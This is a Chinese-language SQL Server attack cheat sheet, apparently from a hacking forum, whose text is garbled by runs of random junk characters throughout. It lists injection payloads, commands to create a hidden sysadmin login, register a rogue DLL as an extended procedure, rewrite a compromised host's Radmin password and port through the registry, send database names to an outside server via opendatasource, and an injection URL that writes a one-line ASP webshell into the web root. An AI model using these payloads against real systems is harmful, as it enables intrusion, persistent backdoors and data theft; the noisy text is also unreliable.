9 ?4 I' K( W: \0 e' V- m7 v+ n, j数据库备份% y t) K/ G. A" D4 X
backup database pubs to disk = 'c:\123.bak' * `( D1 v. x8 `5 o% z. E; T6 \, j! p6 X8 C5 o. ^6 W6 y C, E5 W
//爆出长度8 T# U. r' \ j' x
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--7 i* L( J6 j# q1 e) J( N6 r
% T4 h: s5 c8 o7 N# x. f/ E; |) l, _+ ~! U
7 y5 [! U% j8 }) s7 f更改sa口令方法:用sql综合利用工具连接后,执行命令:' V4 r( [* u+ p9 J7 K( H" R; v
exec sp_password NULL,'新密码','sa' , m. F( T% c9 S, j6 l/ {% J& y8 d& G. f 5 q" Z+ \& J) ^8 k5 c* x6 e4 \) j% P5 y添加和删除一个SA权限的用户test: ) W6 C- Q- b" B. J( _2 c( P. iexec master.dbo.sp_addlogin test,9530772 " Y% D. s5 @$ {0 Uexec master.dbo.sp_addsrvrolemember test,sysadmin3 f# y: u J' A% d
- P( _8 S0 Z8 Z' H" }
删除扩展存储过过程xp_cmdshell的语句:% E& o9 I9 d4 z8 O5 m
exec sp_dropextendedproc 'xp_cmdshell' ) [7 d* S ?* [/ V1 j2 ` ?% K9 j% ]" w' p- q
添加扩展存储过过程. g- y8 Y9 C' a' I# X
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' ; b/ C- w3 o P! bGRANT exec On xp_proxiedadata TO public : q/ h* k( V1 `$ j0 ]3 Z. o # V- ]2 `3 e9 @3 X- z $ C. g* E8 j2 p G2 O# b* v7 Q停掉或激活某个服务。 % |" {2 o4 _- Q6 }0 N% A, g, x* X, \7 B
exec master..xp_servicecontrol 'stop','schedule'" B* K2 e! i; R; ?/ O
exec master..xp_servicecontrol 'start','schedule' # e; r3 f0 ^- x- T8 \4 E+ T2 x2 d9 ^+ w4 n; X5 c0 z
dbo.xp_subdirs 9 m8 v7 u; N7 X4 c 0 y# |8 j$ ^9 y4 Q2 o' \只列某个目录下的子目录。; q; C5 n% }; T# \5 k) T4 h
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'5 e+ }- v3 `* T- I
% L3 k1 ]' f: g, p% x* B8 a
dbo.xp_makecab ! E1 G' L0 W5 a8 u r( e4 V* m! a7 y1 P+ ?1 C将目标多个档案压缩到某个目标档案之内。 1 t6 m, E2 k/ E( j9 v; b: M所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。; k% Q& ^$ ?& g
% x! r) k. @# C8 I1 L1 rdbo.xp_makecab% M( j) u! A% }3 {6 y1 r* N
'c:\test.cab','mszip',1,$ ?7 _; q& e/ W4 t# Q5 Q* _
'C:\Inetpub\wwwroot\SQLInject\login.asp',+ h1 o7 x3 [8 F. B# K
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp' + Z4 J# @( v3 s , k3 a6 ]9 Y( v/ y) x2 G+ ~( Ixp_terminate_process 4 }; Y' f& D; H 3 A. U H' _8 Y停掉某个执行中的程序,但赋予的参数是 Process ID。3 I7 J! M7 J0 V9 j- A8 X
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID o" R( C2 v- m* k$ o
% ^' }' |/ u! U7 I! D
xp_terminate_process 2484$ j2 \2 h* o! q# D; y' ?$ g" U6 |+ z4 F! N
& Q& `2 c; E: a: ?; k, c, D% w
xp_unpackcab 4 Q; e( g2 v+ p( }: C+ g5 o7 Q/ t/ P+ k) Y( T
解开压缩档。 . h* S/ D) p. n/ Q/ m 5 G( }6 [' q+ }0 [. jxp_unpackcab 'c:\test.cab','c:\temp',1/ O8 C( O, ?. W1 D) n3 L3 g# K
4 o ^' Q: [" |5 I. y( o & W0 d. |" \" i' Z: a某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234 & R# c: [; i, J$ f% \% j+ r# y, y% O" H
create database lcx; % r; V" F Z$ `6 fCreate TABLE ku(name nvarchar(256) null); $ H0 w6 d1 x, KCreate TABLE biao(id int NULL,name nvarchar(256) null); " r; i# U6 F6 X / |# O6 z9 ]/ I//得到数据库名 0 V; K# W6 ]& b1 ^insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases 4 T- s# x& p% i+ V6 ?5 `% P* X2 D! K2 Z9 v- u( [5 A8 N4 j8 @7 E
$ z! }1 {! P# e4 `. w' {
//在Master中创建表,看看权限怎样0 t( V8 x, a8 Z( y. v
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--$ q* s/ b) f. g$ L. V0 [
1 }8 K) p$ G3 k5 ?; }* N
用 sp_makewebtask直接在web目录里写入一句话马:3 u' g: R+ t: p. | http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';-- 5 G% u+ P3 R+ @! Y8 j8 U$ p& F5 ^( o5 v! v4 W, x' X$ v
//更新表内容: r* ?* r; q) L1 W
Update films SET kind = 'Dramatic' Where id = 123, `8 w; P: [4 s5 Q2 X7 A9 y
% X/ C6 H% u6 P+ m
//删除内容 ) o+ u2 z2 Q' L, idelete from table_name where Stockid = 3